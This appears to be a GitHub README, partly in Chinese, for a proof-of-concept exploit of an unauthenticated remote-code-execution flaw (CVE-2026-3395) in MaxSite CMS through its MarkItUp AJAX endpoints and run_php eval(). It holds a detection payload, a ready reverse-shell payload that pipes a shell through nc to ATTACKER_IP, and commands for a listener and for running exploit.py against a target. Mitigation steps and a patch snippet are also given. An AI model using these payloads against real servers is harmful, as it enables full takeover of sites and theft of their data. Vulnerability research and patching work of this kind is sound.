mbanyamer/CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE
GitHub: mbanyamer/CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE
针对 MaxSite CMS ≤ 109.1 未认证远程代码执行漏洞 (CVE-2026-3395) 的概念验证利用工具,支持漏洞检测与反向 Shell。
Stars: 0 | Forks: 0
# CVE‑2026‑3395 — MaxSite CMS 未认证远程代码执行
[](https://twitter.com/banyamer_security)
[](https://en.wikipedia.org/wiki/Jordan)
[](https://instagram.com/banyamer_security)
[](https://github.com/mbanyamer)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-3395)
[](https://cwe.mitre.org/data/definitions/95.html)
[](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
## 概述
**MaxSite CMS ≤ 109.1** 中存在的 **未认证远程代码执行 (RCE)** 漏洞。
该漏洞源于 MarkItUp 编辑器插件的 AJAX 端点中薄弱的授权检查,结合 `run_php` 插件对用户提供的 PHP 代码进行不安全执行。
* **发现/修复时间:** 2026年3月
* **修复版本:** MaxSite CMS 109.2
* **供应商:** MaxSite CMS
* **代码库:** maxsite/cms
## 描述
该漏洞影响 MarkItUp 编辑器插件中的以下文件:
* `preview-ajax.php`
* `autosave-post-ajax.php`
这些端点:
* **无需认证** 即可访问
* 仅执行薄弱的 Referrer 验证(容易被绕过)
* 将用户输入传递给 `run_php` 插件
* 使用 `eval()` 执行 `[php]...[/php]` 短代码
攻击者可以向 `/ajax/` 路由发送精心构造的 POST 请求,其中包含通过 `data` 参数传递的 Base64 编码内部路径和恶意 PHP payload,从而导致:
## 🚨 完全未认证远程代码执行
## 攻击流程图
```
graph TD
A["Attacker"] -->|"Malicious POST Request"| B["AJAX Endpoint"]
B -->|"Referer Spoofing"| C["preview-ajax.php"]
C -->|"Unsanitized Input"| D["run_php Plugin"]
D -->|"eval() Execution"| E["Arbitrary PHP Execution"]
E -->|"Command Execution"| F["Compromised Server"]
```
## 前置条件
* MaxSite CMS 版本 **≤ 109.1**
* `run_php` 插件已启用(常见默认配置)
* PHP 配置允许 `eval()`
## 漏洞利用
包含一个 Python 3 概念验证漏洞利用脚本 (`exploit.py`)。
### 检测 Payload (非破坏性)
```
[php]echo 'RCE CONFIRMED - ' . phpversion();[/php]
```
### 反向 Shell Payload
```
[php]system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP ATTACKER_PORT >/tmp/f');[/php]
```
## 使用方法
### 1. 启动监听器
```
nc -lvnp 9001
```
### 2. 运行漏洞利用程序
```
python3 exploit.py http://target.com --lhost 10.10.14.22 --lport 9001
```
## 缓解措施
### 立即行动
* 升级至 **MaxSite CMS 109.2 或更高版本**
* 如果不需要 `run_php` 插件,请将其禁用
### 手动补丁
在受影响的文件中添加身份验证检查:
```
if (!is_login()) {
die('Access denied');
}
mso_checkreferer();
```
## 参考资料
* 补丁提交
[https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3](https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3)
* 漏洞条目
[https://vuldb.com/?id.348281](https://vuldb.com/?id.348281)
* NVD 记录
[https://nvd.nist.gov/vuln/detail/CVE-2026-3395](https://nvd.nist.gov/vuln/detail/CVE-2026-3395)
## 法律声明
本项目仅用于:
* 安全研究
* 教育目的
* 授权渗透测试
⚠️ 请 **勿** 在未经明确许可的情况下对系统使用。
作者不对滥用或造成的损害承担任何责任。
## 作者
**Mohammed Idrees Banyamer**
约旦 🇯🇴
安全研究员
**banyamer_security — Silent Hunter • Shadow Presence**
2026年3月
标签:AJAX安全, CISA项目, CMS漏洞, CVE-2026-3395, eval注入, ExP, MarkItUp编辑器, MaxSite CMS, PHP安全, RCE, Web安全, 文件上传漏洞, 未授权访问, 编程工具, 蓝队分析, 远程代码执行, 高危漏洞